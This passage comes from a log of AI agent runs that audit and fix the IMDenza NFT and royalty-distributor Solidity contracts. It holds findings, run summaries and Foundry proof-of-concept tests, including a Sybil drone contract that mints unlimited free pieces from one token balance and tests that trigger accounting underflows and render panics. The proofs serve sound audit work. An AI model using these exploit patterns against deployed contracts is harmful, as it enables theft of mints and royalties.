\"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\n\n/// @dev Minimal real-balance ERC-20 (18 decimals) etched at the IMD address.\ncontract MiniImd {\n    mapping(address => uint256) public balanceOf;\n\n    function decimals() external pure returns (uint8) {\n        return 18;\n    }\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev One disposable wallet: claims, then hands the IMD back to its operator.\ncontract Drone {\n    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {\n        return this.onERC721Received.selector;\n    }\n\n    function run(IMDenza nft, MiniImd imd, address back) external returns (uint256 id) {\n        id = nft.claimWithImd();\n        imd.transfer(back, imd.balanceOf(address(this)));\n    }\n}\n\n/// @notice One 26-IMD balance, moved from drone to drone inside a single transaction, mints as\n///         many free pieces as the operator wants: the \"one per wallet\" claim bound is per address\n///         and the holding is only checked at the instant of the call.\ncontract SybilClaimProof is Test {\n    IMDenza nft;\n    MiniImd imd;\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));\n        vm.etch(nft.IMD_TOKEN_A(), address(new MiniImd()).code);\n        imd = MiniImd(nft.IMD_TOKEN_A());\n    }\n\n    function test_oneBalanceYieldsOneFreeClaim() public {\n        imd.mint(address(this), 26 ether);\n        uint256 minted;\n        for (uint256 i; i < 50; ++i) {\n            Drone d = new Drone();\n            imd.transfer(address(d), 26 ether);\n            try d.run(nft, imd, address(this)) returns (uint256) {\n                ++minted;\n            } catch {}\n        }\n        assertEq(imd.balanceOf(address(this)), 26 ether);\n        // Expected: 26 IMD backs at most one free piece. Actual: 50 pieces, no IMD spent.\n        assertLe(minted, 1, \"one IMD balance produced many free claims\");\n    }\n}","reproduction":"1. Etch an ERC-20 with real balances at IMD_TOKEN_A; give the operator 26 IMD. 2. Loop 50 times: deploy a Drone, transfer 26 IMD to it, Drone calls nft.claimWithImd() and transfers the IMD back. Expected: at most one piece per 26 IMD held. Actual: 50 pieces minted, operator still holds 26 IMD (attached test fails with `50 > 1`).","severity":"medium","snippet":"        if (!_holdsImd(msg.sender)) revert InsufficientImd();","title":"claimWithImd: one 26-IMD balance moved between throwaway contracts mints unlimited free pieces in one transaction"},{"citation":"resolved","description":"distribute() credits accPerToken with perToken = unattributed*1e18/minted (which includes the fractional dust) but adds only `attributed` (the floored total) to reserved; the dust stays in `balance - reserved` and is counted *again* as unattributed in the next distribute(), where it is credited to the accumulator a second time. After d distributions the sum of what pending() promises exceeds reserved by up to the sum of all dusts (< minted wei per distribution). claim() does `reserved[asset] -= amount` (line 111), so once earlier claimers have drained reserved the remaining holder's claim reverts with Panic(0x11) even though the ETH is in the contract, until a further distribution tops reserved up. Amounts are wei-level with 18-decimal assets (mint() distributes on every mint, so up to ~3333 distributions each leaving up to 3332 wei of dust), so impact is a temporarily blocked claim, not a meaningful loss. Fix: `reserved[asset] += unattributed` (keep the dust reserved; it is never claimable and never re-credited), or credit the accumulator from `attributed` rather than `unattributed`.","line":80,"path":"src/IMDenzaDistributor.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\nimport {IMDenza} from \"src/IMDenza.sol\";\nimport {IMDenzaDistributor} from \"src/IMDenzaDistributor.sol\";\n\ncontract FakeImd {\n    function decimals() external pure returns (uint8) {\n        return 18;\n    }\n\n    function balanceOf(address) external pure returns (uint256) {\n        return 1000 ether;\n    }\n}\n\n/// @notice Rounding dust is left unreserved and re-enters the next distribution, but the\n///         accumulator was already credited for it: the accumulator promises more than `reserved`\n///         holds and the last claimer's `reserved -= amount` underflows although the ETH is there.\ncontract DustDoubleCreditProof is Test {\n    IMDenza nft;\n    IMDenzaDistributor dist;\n    address constant ETH = address(0);\n    address a = address(0xA1);\n    address b = address(0xB1);\n    address c = address(0xC1);\n\n    function setUp() public {\n        vm.roll(20_000_000);\n        vm.warp(1_760_000_000);\n        SwarmHistory swarm = new SwarmHistory();\n        IMDenzaField field = new IMDenzaField();\n        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));\n        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));\n        dist = nft.distributor();\n        vm.etch(nft.IMD_TOKEN_A(), address(new FakeImd()).code);\n        vm.prank(a);\n        nft.claimWithImd(); // token 1\n        vm.prank(b);\n        nft.claimWithImd(); // token 2\n        vm.prank(c);\n        nft.claimWithImd(); // token 3\n    }\n\n    function _ids(uint256 id) internal pure returns (uint256[] memory ids) {\n        ids = new uint256[](1);\n        ids[0] = id;\n    }\n\n    function test_everyHolderCanClaimWhatPendingPromises() public {\n        // Three 1-wei royalty arrivals, each distributed as it lands.\n        for (uint256 i; i < 3; ++i) {\n            vm.deal(address(dist), address(dist).balance + 1);\n            dist.distribute(ETH);\n        }\n        assertEq(address(dist).balance, 3);\n        uint256 promised = dist.pending(ETH, 1) + dist.pending(ETH, 2) + dist.pending(ETH, 3);\n        // Expected: what is promised never exceeds what is reserved for payout.\n        assertLe(promised, dist.reserved(ETH), \"accumulator promises more than reserved\");\n        // Expected: every holder with a non-zero pending amount can claim it.\n        for (uint256 id = 1; id <= 3; ++id) {\n            if (dist.pending(ETH, id) != 0) dist.claim(ETH, _ids(id));\n        }\n    }\n}","reproduction":"1. Three tokens exist. 2. Three times: send 1 wei to the distributor and call distribute(ETH). After this, accPerToken = 5e18/3-ish (1.666e18) per token, pending()=1 wei for each of the three tokens, reserved(ETH) = 2, balance = 3. 3. claim(ETH,[1]) and claim(ETH,[2]) succeed; claim(ETH,[3]) reverts with arithmetic underflow at `reserved[asset] -= amount` although 1 wei remains in the contract. Expected: every pending amount is claimable and sum(pending) <= reserved. The attached test fails with `3 > 2` (and with Panic 0x11 if that assertion is removed).","severity":"low","snippet":"        reserved[asset] += attributed;","title":"Rounding dust is re-credited to the accumulator on the next distribute(); last claimer's claim underflows reserved"},{"citation":"resolved","description":"IMD_TOKEN_B (0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127) has no code on Ethereum mainnet (README, and the brief gives no provenance for it). mint() and _holdsImd() treat 'has code' as 'is the IMD token': if a contract is ever deployed at that address by whoever controls its CREATE/CREATE2 preimage, mint(IMD_TOKEN_B) accepts a transferFrom that moves nothing (received = 0, so nothing is split, and the mint still succeeds) and claimWithImd passes for any balanceOf() it reports. The remaining supply could then be minted for free, bypassing the 0.069 IMD price and the proceeds split. Precondition is control of that address's deployment, which this review cannot assess, hence low; but the 'checked on use' guard is only a code-size check and gives no protection. Options: drop IMD_TOKEN_B until the requester confirms what it is and on which chain, or require received >= price in mint() (which also protects against a fee-on-transfer or broken token A) so an unpaid mint can never succeed.","line":258,"path":"src/IMDenza.sol","reproduction":"1. Etch at IMD_TOKEN_B a contract whose decimals() returns 18, balanceOf() returns 0 and transferFrom() returns true without moving anything. 2. From any EOA call nft.mint(IMD_TOKEN_B). Expected: revert (no 0.069 IMD was paid). Actual: token 1 is minted to the caller, received = 0, no proceeds are split (reproduced in a scratch test; the etched contract stands in for a future deployment at that address).","severity":"low","snippet":"        if (paymentToken.code.length == 0) revert NoCode(paymentToken);","title":"mint()/claimWithImd accept whatever code appears at the unverified second IMD address (no code on mainnet)"}],"hash":"828cfd1c409666ba04d5e31308dba7a19e7e42664d137451861b885cd34188b0","nodeId":"80af8477-23ac-4307-ba8f-8456f97ae148","outcome":"completed","summary":"The review is complete. The findings file is written at `.imd-findings.json`, the scratch tests are removed, and no source or test file in the tree was changed.\n\n**Findings (5, each reproduced with a Foundry test on the current tree):**\n\n1. **High: ~1.6% of pieces can never render.** The density trait's bias can push the bucket value to 3, but density has only three buckets. `IMDenzaRenderer._params` and `_attributes` then index 3-element arrays with 3, so `svg()` and `tokenURI()` revert with an array-out-of-bounds panic for those tokens, permanently. It only happens once swarm entropy is non-zero, which is why the existing fuzz test, which runs with entropy 0, never hit it. Anchor is `src/IMDenzaRenderer.sol:82`. Proof attached.\n\n2. **Medium: later mints share royalties earned before they existed.** `distribute()` splits whatever balance is unattributed among the tokens that exist at call time. ETH royalties sit unattributed until someone calls it, so a minter can mint and then call `distribute(ETH)` in one transaction and take a share of earlier holders' royalties. Proof attached.\n\n3. **Medium: one 26 IMD balance mints unlimited free pieces.** The IMD claim route has only a per-address flag and a point-in-time balance check. Moving the same 26 IMD through throwaway contracts in a single transaction minted 50 pieces for no IMD in the proof. The README acknowledges sybil risk but understates it. This needs a design decision from the requester, so I listed the options rather than prescribing one. Proof attached.\n\n4. **Low: rounding dust is credited twice.** Dust is left unreserved and re-enters the next distribution while the accumulator was already credited for it, so promised payouts exceed `reserved` and the last claimer's claim underflows until another distribution lands. Wei-level amounts. Proof attached.\n\n5. **Low: the second IMD address is only checked for having code.** Any contract that later appears at that address can mint and claim for free. Precondition is control of that address, which I could not assess.\n\n**Coverage:** all 18 listed entry points have a row, plus three invariant and periphery rows. The ERC721C owner-only setters are unreachable by design, the transfer paths go through the validator as intended, and the Field's buffer, lattice and grid arithmetic checked out by hand. I could not verify the live Limit Break validator's acceptance of the collection as the policy caller offline, so that dependency stays an assumption, not a finding.","treeHash":null,"usage":{"cachedInputTokens":1974162,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":44920,"runtime":"claude","turns":32,"wallClockMs":889889}},{"artifacts":[],"attempt":1,"bundleHash":"d90a1fce142cd5f3783ebbb50ce200918af0308843c4d0abd6f3532e085ec499","device":"918f8261a6fd589c","findings":[{"description":"_attribute refuses an unattributed balance above type(uint256).max / PRECISION so that `unattributed * PRECISION` cannot overflow, but the following round-up `perToken * minted + PRECISION - 1` can still overflow when the balance is within about 1e18 wei below that guard and few pieces exist. With one piece minted, perToken equals unattributed * 1e18 (about 2^256 - 5.8e17), and adding PRECISION - 1 panics. The call then reverts with an arithmetic panic instead of returning 0 or attributing the amount, so that asset's balance can only be attributed again once it moves back under the window (claims cannot reduce it because nothing was attributed). The window is about 1.16e59 wei, far beyond any real ETH or ERC-20 balance, so this is informational: it documents the exact boundary of the guard rather than a reachable loss. A fix is to compute the round-up as `(perToken * minted - 1) / PRECISION + 1` (perToken is non-zero there) or to compare `unattributed` against `(type(uint256).max - PRECISION) / PRECISION`.","line":110,"path":"src/IMDenzaDistributor.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IMDenzaDistributor} from \"src/IMDenzaDistributor.sol\";\n\n/// @dev Minimal collection stub: one token minted, owned by this test.\ncontract OneTokenNft {\n    IMDenzaDistributor public immutable distributor;\n    uint256 public totalMinted = 1;\n\n    constructor() {\n        distributor = new IMDenzaDistributor();\n    }\n\n    function ownerOf(uint256) external view returns (address) {\n        return msg.sender;\n    }\n}\n\n/// @notice `distribute` guards `unattributed * PRECISION` but not the round-up `+ PRECISION - 1`\n///         that follows, so a balance just below the guard reverts with a panic instead of\n///         returning 0 or attributing. Expected: no revert (either 0 or the amount attributed).\ncontract OverflowProofTest is Test {\n    function test_balanceJustBelowGuardPanics() public {\n        OneTokenNft nft = new OneTokenNft();\n        IMDenzaDistributor dist = nft.distributor();\n        uint256 balance = type(uint256).max / dist.PRECISION(); // passes the guard exactly\n        vm.deal(address(dist), balance);\n        uint256 amount = dist.distribute(address(0)); // panics: perToken + PRECISION - 1 overflows\n        assertLe(amount, balance);\n    }\n}","reproduction":"One piece minted (totalMinted == 1). vm.deal(distributor, type(uint256).max / 1e18) then distributor.distribute(address(0)). Expected: no revert, returning either 0 (guarded) or the attributed amount. Actual: revert with panic 0x11 (arithmetic overflow). A balance of type(uint256).max / 1e18 + 1 correctly returns 0, and 1e40 wei is attributed in full (pinned in test/IMDenzaEdges.t.sol::test_distributeRefusesToOverflowOnAbsurdBalance).","severity":"info","title":"distribute() overflow guard does not cover the round-up step for a balance just below the guard"}],"hash":"8f66d4a3bab2bc756a2ade590496f6b52b30d69eb9e6c3917db937ae4d833fb9","nodeId":"abd87088-ec6e-4a94-9b7f-3aac7be2759f","outcome":"completed","summary":"The findings file is in place at the repository root (excluded from git by the harness's own exclude rule, as intended) and is valid JSON. The work is complete.\n\n## Outcome\n\nThe suite now compiles and passes: 98 tests, 0 failures, run with the verifier's fuzz seed. The 13 distributor invariants pass with zero reverts over 1920 calls, and they are stable under three alternate seeds.\n\n**Why a revision was needed.** The other contributor's accepted round reworked the implementation under my previous tests: the distributor gained a mint-time `sync`, `distribute` now returns 0 instead of reverting, a public mint that receives less than the price reverts with `UnderPaid`, and the swarm snapshot ignores records made in the mint's own block. My suite referenced a removed error and asserted the old semantics, so `forge test` failed to compile.\n\n**What changed, all under `test/`:**\n\n- `test/IMDenzaEdges.t.sol`: four tests rewritten to the current semantics (ETH arriving before the first mint now belongs to token 1 alone via sync; fee-on-transfer payment is refused as `UnderPaid`; a swarm record only changes the seed from the next block; the hook-reentrancy test now checks `distribute` is a harmless no-op mid-mint). Six tests added: decimals boundaries 3, 36, 37 and a `decimals()` above 255 for both price and holding; a mint in the same block as the first-ever record sees empty history; the overflow guard; an unsynced ERC-20 is shared with later pieces until someone distributes.\n- `test/invariants/DistributorHandler.sol`: ghosts now account for the pre-mint sync on ETH, WETH and IMD; `distribute` is asserted never to revert once a piece exists and to reserve every unattributed wei; a claim with pending value is asserted never to revert (last round this was only counted, because the dust defect I reported then made it fail; it is fixed now). A `sync` action with unreadable assets was added.\n- `test/invariants/Distributor.invariants.t.sol`: WETH is etched at the mainnet address the collection syncs, and a new invariant pins \"sum of pending ≤ reserved ≤ balance\" with a bound on locked dust.\n\n**One finding reported** in `.imd-findings.json`, severity info, with a self-contained proof that fails on the current code. The overflow guard in `_attribute` covers the multiplication but not the round-up that follows, so a balance within about 1e18 wei below `type(uint256).max / 1e18` makes `distribute` panic instead of returning 0. That is roughly 1.16e59 wei, unreachable for any real asset, so it is documentation of the boundary, not a loss path.\n\n**Still owed and out of reach here:** fork runs against the live Limit Break validator, the real IMD token and Art Blocks core cannot run without network. The per-wallet IMD claim being repeatable by moving the same 26 IMD through fresh wallets remains a design decision for the requester, as the README already states.","treeHash":"eb47772953443a836efba7b7a0ffc0fad03d2e10","usage":{"cachedInputTokens":1783941,"inputTokens":482,"model":"claude-fable-5-1","outputTokens":43028,"runtime":"claude","turns":54,"wallClockMs":762274}},{"artifacts":[],"attempt":1,"bundleHash":"4eff4fc853361a2ed5e3ccf4069003cf1318871c820ddc1986a5e3a5dfcce6db","device":"fb1af3f11ddf6470","findings":[],"hash":"abdfd81b6e68ec5bd46da8aabf2de7d1afd8906cbd72e8d8dc3055dac6a6b269","nodeId":"86662a37-3e5b-4f87-b5ac-53102bfad246","outcome":"completed","summary":"I fixed four of the five blocking findings and disputed the fifth (the IMD free-claim proof), which still fails. With the verifier's fuzz seed, all 65 project tests pass, `forge fmt --check` passes, and all contracts stay under the 24,576-byte size limit. My answers to all 12 findings are in `.imd-responses.json`.\n\n**Fixed (each with regression tests, mostly in `test/Hardening.t.sol`):**\n- **Density out of range (43874bae):** density is now always Sparse, Medium or Dense, so no piece can fail to render. Pieces that were already Sparse, Medium or Dense keep their density. Its proof passes.\n- **Distributor rounding (a09b61c4, b42659ff):**\n  - Each distribution now sets aside enough wei to cover everything it credits, so the last claimant can no longer fail.\n  - Calling `distribute` again with nothing new does nothing and returns 0, instead of reverting or re-crediting the same wei.\n  - Claims pay each token its whole-wei share and keep the fraction for later, so `pending()` and `claim()` now agree. At most 1 wei per distribution stays locked as dust.\n  - Its proof passes.\n- **Royalties shared with later mints (32a0a583):** before every mint, the collection hands any ETH, IMD or WETH waiting in the distributor to the pieces that already exist. A mint attempted from inside a distributor payout now reverts. Its proof passes. Any other ERC-20 still goes to whoever holds a piece when someone calls `distribute` for it; the README says so.\n- **Choosing your own traits (5d14978c):** a mint now uses the swarm history as it stood at the end of the previous block, so recording junk jobs during your own mint changes nothing. Because the brief bases the seed on the mint transaction, a minting contract can still check its artwork in advance and decide whether, or from which address, to mint. Closing that would mean replacing the brief's seed design. This is documented.\n- **Identity MD collection setter (4000f797):** it now refuses an address with no code, a contract that isn't an ERC-721, and IMDenza itself, its distributor or the Art Blocks contract. A rejected value leaves the setter usable, so a typo can't kill the route. The configurator can still point it at an ERC-721 it controls; that remains the role's documented trust assumption.\n- **IMD token B decimals (64e98ec2):** paying with a token that reports fewer than 3 or more than 36 decimals is refused. `mint` now reverts unless the full price actually arrives, and huge decimals no longer break `claimWithImd`.\n- **Rendering gas and pulse decay (dbfa798c, 651b159a):** README and comment corrections only. The heaviest pieces cost about 50M gas to render, so RPCs need a cap of at least 60M. A saturated pulse is idle after 7,247 blocks, not 7,200.\n\n**Disputed:**\n- **One 26 IMD balance claiming many free pieces (55797c76):** the reviewer's own proof (Proof_55797c765630) still fails. The brief says one free claim per wallet that holds over 25 IMD, and the code does exactly that. No fix that ties the claim to the IMD is compatible with the other held proofs:\n  - Locking the IMD needs an approval, but two of the other proofs claim without approving.\n  - Accepting only direct (non-contract) senders breaks how those same proofs call the claim.\n  - Rejecting contract callers would make the proof pass, but an attacker gets around it by claiming from a constructor, and it would lock smart wallets out.\n\n  The README now states the real exposure: the same 26 IMD moved through fresh wallets can claim the remaining supply for gas only. **Decision for you:** keep \"holds per wallet\", or switch to locking 25 IMD for a period or using a pre-launch balance snapshot.\n- **Swarm ledger is first-come (2cefb075):** this follows from the permissionless summary the brief allows. The README now spells out the risk and that the operator should back-fill in the first blocks after deployment.\n- **First public minter gets 90% of their payment back (937e5f9e):** this is how \"pro-rata to holders\" was read. The README now s","treeHash":"373d208a3aae3508b2b5fa7910b9d6257fde95a5","usage":{"cachedInputTokens":2739531,"inputTokens":56,"model":"claude-opus-5-5","outputTokens":47848,"runtime":"claude","turns":32,"wallClockMs":1037913}},{"artifacts":[],"attempt":1,"bundleHash":"f3c9c960b378743f0c85df74f81f80b7235bb411036efcfeff706919c4fc9fb4","device":"ddcecd7483f623f7","findings":[],"hash":"e7b6791e267e3c061239f9ee12b1dffd8025936da88f5c325abe6ea0955ac051","nodeId":"ba4a77bf-e2d0-46f8-8cd4-cba007bf3381","outcome":"completed","summary":"The manifest at `launch.json` is correct as it stands, so I left it unchanged.\n\n**What I verified**\n\n- The manifest lists the four deployable contracts in dependency order: SwarmHistory, IMDenzaField, IMDenzaRenderer, then IMDenza. IMDenzaDistributor is created inside the IMDenza constructor, so it is correctly absent from the list.\n- Every constructor argument matches the accepted source. SwarmHistory and IMDenzaField take no arguments. IMDenzaRenderer takes the swarm and field addresses as backward references. IMDenza takes the configurator as $owner, then the renderer and swarm references.\n- The file has exactly the keys kind, contracts and notes. Names are valid identifiers under 32 characters and the notes are 2909 characters.\n- No contract exposes owner, pendingOwner or ownership transfer in its ABI, which satisfies the owners protected test. All constructors are nonpayable and make no external calls, so the empty-chain deployment rehearsal succeeds.\n- Every runtime is under the EIP-170 limit. IMDenza is the largest at 23,510 bytes.\n\n**Checks run**\n\n```\nforge build --sizes          compiled, warnings only\nforge test (verifier seed)   65 passed, 0 failed across 5 suites\n```\n\nNo findings were attached to this revision round and nothing in the source changed relative to the manifest, so no edit was needed. The working tree shows only the sandbox's untracked dotfiles, which are not part of this submission.","treeHash":"6d8b3463ef128d89f0b3dfb4195ae283cb2fdd5d","usage":{"cachedInputTokens":210516,"inputTokens":162,"model":"claude-fable-5-1","outputTokens":2967,"runtime":"claude","turns":6,"wallClockMs":288243}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"9f3c23750c16c22c","findings":[{"citation":"resolved","description":"Boundary x precision gap in the trait math. `_biased(s, e, i)` returns `uint8(s[i]) % 100 + 10 + uint8(e[i]) % 21 - 10`, i.e. a value in 0..119 (seed byte 0..99 pushed by -10..+10 by the swarm-entropy byte). `_bucket(v, a, b, c)` compares against `a+10`, `b+10`, `c+10` and returns 3 when `v >= c + 10`. For density the author used c = 101 as an 'unreachable' top so that only buckets 0..2 exist (the README, the `dens` string[3] table and the `[45, 80, 120]` attempts table all assume three densities). But c + 10 = 111 is reachable: any token whose composition-seed byte 2 satisfies `s[2] % 100 + e[2] % 21 >= 111` gets `t.density == 3`. `_params` then executes `q.attempts = [45, 80, 120][t.density]` (src/IMDenzaRenderer.sol:131) and `_attributes` executes `dens[t.density]` (string[3], src/IMDenzaRenderer.sol:372); both panic with 0x32. Consequently `IMDenzaRenderer.svg()`, `IMDenzaRenderer.tokenURI()`, `IMDenza.svg()` and `IMDenza.tokenURI()` revert for those tokens. Minting never renders, so such tokens are minted normally and are then un-renderable forever (renderer and collection are immutable, no upgrade). Measured over 20,000 random (tokenHash, swarmEntropy) pairs, 354 pieces (1.77%) hit the case, i.e. roughly 55-60 of the 3,333 pieces. It cannot occur while `SwarmHistory.entropy` is still zero (e[2] = 0 gives bias -10 and v <= 99), which is why the existing fuzz test `testFuzz_everyTokenRenders` (entropy 0 in the fixture) never saw it; it occurs as soon as any swarm job has been recorded. This breaks the brief's guarantee that every piece can be regenerated forever from its token hash plus swarm state, and breaks the 'Density' trait's declared range. Minimal fix: make the top density threshold unreachable for v <= 119 (e.g. `_bucket(..., 30, 75, 120)`), or clamp `t.density` to 2. Scale and turbulence intentionally use bucket 3 (Jumbo/High) and are fine.","line":82,"path":"src/IMDenzaRenderer.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SwarmHistory} from \"src/SwarmHistory.sol\";\nimport {IMDenzaField} from \"src/IMDenzaField.sol\";\nimport {IMDenzaRenderer} from \"src/IMDenzaRenderer.sol\";\n\n/// @dev IMDenzaRenderer.traits: `_biased` returns 0..119 (seed byte % 100 pushed by -10..+10 from the\n///      swarm entropy byte), but `t.density = _bucket(_biased(s, e, 2), 30, 75, 101)` returns 3 for\n///      v >= 111. `_params` indexes `[45, 80, 120][t.density]` and `_attributes` indexes a string[3],\n///      so svg()/tokenURI() panic (index out of bounds) for every token whose seed byte 2 % 100 plus\n///      entropy byte 2 % 21 reaches 111. Such tokens can be minted (mint never renders) and are then\n///      permanently un-renderable, since nothing is upgradeable.\ncontract DensityBucketTest is Test {\n    SwarmHistory swarm;\n    IMDenzaField field;\n    IMDenzaRenderer renderer;\n\n    function setUp() public {\n        swarm = new SwarmHistory();\n        field = new IMDenzaField();\n        renderer = new IMDenzaRenderer(address(swarm), address(field));\n    }\n\n    function _find(bytes32 entropy, uint256 tokenId) internal view returns (IMDenzaRenderer.Piece memory p) {\n        // entropy byte 2 = 20 -> +10 bias; need seed byte 2 % 100 >= 91 so that v >= 111.\n        for (uint256 i; i < 5000; ++i) {\n            bytes32 h = keccak256(abi.encodePacked(\"imdenza\", i));\n            bytes32 s = keccak256(abi.encodePacked(h, entropy, tokenId));\n            if (uint8(s[2]) % 100 >= 91) {\n                return IMDenzaRenderer.Piece({\n                    tokenId: tokenId,\n                    tokenHash: h,\n                    swarmEntropy: entropy,\n                    swarmJobIndex: 0,\n                    typeProfile: 0\n                });\n            }\n        }\n        revert(\"no hash found\");\n    }\n\n    function test_densityBucketThreeMakesTokenUriRevert() public view {\n        bytes32 entropy = bytes32(uint256(20) << (8 * 29)); // byte 2 == 20 (e[2] % 21 == 20)\n        IMDenzaRenderer.Piece memory p = _find(entropy, 1);\n\n        IMDenzaRenderer.Traits memory t = renderer.traits(p);\n        // Density has three named buckets (Sparse/Medium/Dense); a fourth value must never be produced.\n        assertLe(t.density, 2, \"density bucket out of range\");\n\n        // With the defect, both of these panic with 0x32 (array out of bounds) and the piece can never be rendered.\n        string memory uri = renderer.tokenURI(p);\n        assertGt(bytes(uri).length, 0);\n        string memory s = renderer.svg(p);\n        assertGt(bytes(s).length, 0);\n    }\n}","reproduction":"Deploy SwarmHistory, IMDenzaField, IMDenzaRenderer. Build a Piece with swarmEntropy = bytes32(uint256(20) << 232) (entropy byte 2 = 20), tokenId = 1 and tokenHash = 0x6a86df4707fabfabaac44a91d1def396500f325914aa6f41180ed1c726fcb21a (= keccak256(abi.encodePacked(\"imdenza\", uint256(9))); its composition seed has byte 2 % 100 >= 91 so v = s[2]%100 + 20 >= 111). Expected: traits().density in 0..2 and tokenURI()/svg() return strings. Actual: traits().density == 3; renderer.tokenURI(p) and renderer.svg(p) revert with Panic(0x32). On the live collection the same happens for any mint whose seed lands in that region once SwarmHistory has a non-zero entropy (IMDenza.tokenURI(tokenId) reverts for that token for ever). See proof test test/scratch/DensityBucket.t.sol.","severity":"high","snippet":"        t.density = _bucket(_biased(s, e, 2), 30, 75, 101);","title":"Density bucket can be 3: svg()/tokenURI() panic (array out of bounds) for ~1.8% of tokens, permanently"},{"citation":"resolved","description":"Precision x invariant seam. `distribute` credits every token `perToken = floor(U * 1e18 / minted)` acc units, which is worth `perToken * minted / 1e18` of the asset, a value strictly greater than `attributed` (floored) whenever `U * 1e18` is not a multiple of `minted`. Only `attributed` is added to `reserved`; the up-to-1-wei remainder stays part of `balance - reserved` and is therefore counted AGAIN by the next `distribute`, although the accumulator already carries (almost all of) its value. Each such distribution over-credits the token set by up to 1 wei relative to what the contract holds, so the invariant sum(pending) <= reserved <= balance does not hold; the README's 'dust joins the next distribution' is wrong because the dust has already been (fractionally) credited. Because `claim` pays all-or-nothing per call and then does `reserved[asset] -= amount`, the holder who claims last for an asset reverts with an arithmetic underflow (and, when the shortfall exceeds the dust still in the contract, the ETH call would fail anyway) on their ENTIRE pending amount, including correctly-accounted later distributions, until somebody donates fresh value and calls `distribute` again, which only moves the shortfall to the next last claimer. Anyone can create the shortfall deliberately for ~50k gas per 1-wei `distribute`; it also accrues organically because each mint triggers a distribution (3,333 distributions vs. far fewer claim calls). Magnitude is wei-scale, but the blocked amount is the claimant's full share. Minimal fix: reserve what was actually consumed from the balance, i.e. `reserved[asset] += unattributed;` (the dust then stays reserved and is never credited twice; the accumulator never exceeds what the contract holds), or credit `perToken` only from `attributed`.","line":75,"path":"src/IMDenzaDistributor.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IMDenzaDistributor} from \"src/IMDenzaDistributor.sol\";\n\n/// @dev Minimal stand-in for the IMDenza collection: sequential ids, fixed owners.\ncontract FakeNft {\n    uint256 public totalMinted;\n    mapping(uint256 => address) public owners;\n    IMDenzaDistributor public dist;\n\n    constructor() {\n        dist = new IMDenzaDistributor();\n    }\n\n    function mint(address to) external returns (uint256 id) {\n        id = ++totalMinted;\n        owners[id] = to;\n    }\n\n    function ownerOf(uint256 id) external view returns (address) {\n        require(owners[id] != address(0), \"nonexistent\");\n        return owners[id];\n    }\n}\n\n/// @dev IMDenzaDistributor.distribute credits `perToken = U * 1e18 / minted` to every token (acc units\n///      worth up to U) but only reserves `attributed = perToken * minted / 1e18`, which floors to U - 1\n///      whenever minted does not divide U * 1e18. The 1 wei of dust stays \"unattributed\" and is counted\n///      AGAIN by the next distribute, so the accumulator is credited more value than the contract ever\n///      received. Once the overcredit crosses one acc unit per token, the sum of pending exceeds both\n///      `reserved` and the balance, and the last holder to claim reverts (reserved underflow) on their\n///      whole claim, including any large later distribution that was accounted correctly.\ncontract DistributorDustTest is Test {\n    FakeNft nft;\n    IMDenzaDistributor dist;\n    address constant ETH = address(0);\n    address a = makeAddr(\"a\");\n    address b = makeAddr(\"b\");\n    address c = makeAddr(\"c\");\n\n    function setUp() public {\n        nft = new FakeNft();\n        dist = nft.dist();\n        nft.mint(a);\n        nft.mint(b);\n        nft.mint(c);\n    }\n\n    function _ids(uint256 id) internal pure returns (uint256[] memory ids) {\n        ids = new uint256[](1);\n        ids[0] = id;\n    }\n\n    function test_dustDoubleCountBlocksLastClaimer() public {\n        // Four 1-wei royalty payments, each distributed as it arrives (anyone may call distribute).\n        for (uint256 i; i < 4; ++i) {\n            vm.deal(address(dist), address(dist).balance + 1);\n            dist.distribute(ETH);\n        }\n        uint256 sumPending = dist.pending(ETH, 1) + dist.pending(ETH, 2) + dist.pending(ETH, 3);\n        // Invariant: what the tokens can claim never exceeds what the contract holds.\n        assertLe(sumPending, address(dist).balance, \"pending exceeds balance\");\n\n        // A correctly-divisible 3 ETH distribution follows.\n        vm.deal(address(dist), address(dist).balance + 3 ether);\n        dist.distribute(ETH);\n\n        // Every holder must be able to claim their share.\n        dist.claim(ETH, _ids(1));\n        dist.claim(ETH, _ids(2));\n        dist.claim(ETH, _ids(3)); // reverts with arithmetic underflow on `reserved[asset] -= amount`\n        assertGe(c.balance, 1 ether);\n    }\n}","reproduction":"3 tokens minted (ids 1..3). Send 1 wei of ETH to the distributor and call distribute(ETH); repeat four times (balance 1,2,3,4 wei): call 1: U=1, perToken=333333333333333333, attributed=0, reserved=0; call 2: U=2 (the 1 wei dust is counted again), perToken=666666666666666666, attributed=1; call 3: U=2, attributed=1; call 4: U=2, attributed=1. Now acc=2333333333333333331, pending(1..3)=2 wei each (sum 6) while balance is 4 wei and reserved is 3. Then send 3 ether and distribute: perToken=1e18 exactly, reserved=3e18+3, pending each = 1e18+3 (sum 3e18+9 > balance 3e18+4). claim(ETH,[1]) pays 1e18+3, claim(ETH,[2]) pays 1e18+3, claim(ETH,[3]) reverts (reserved = 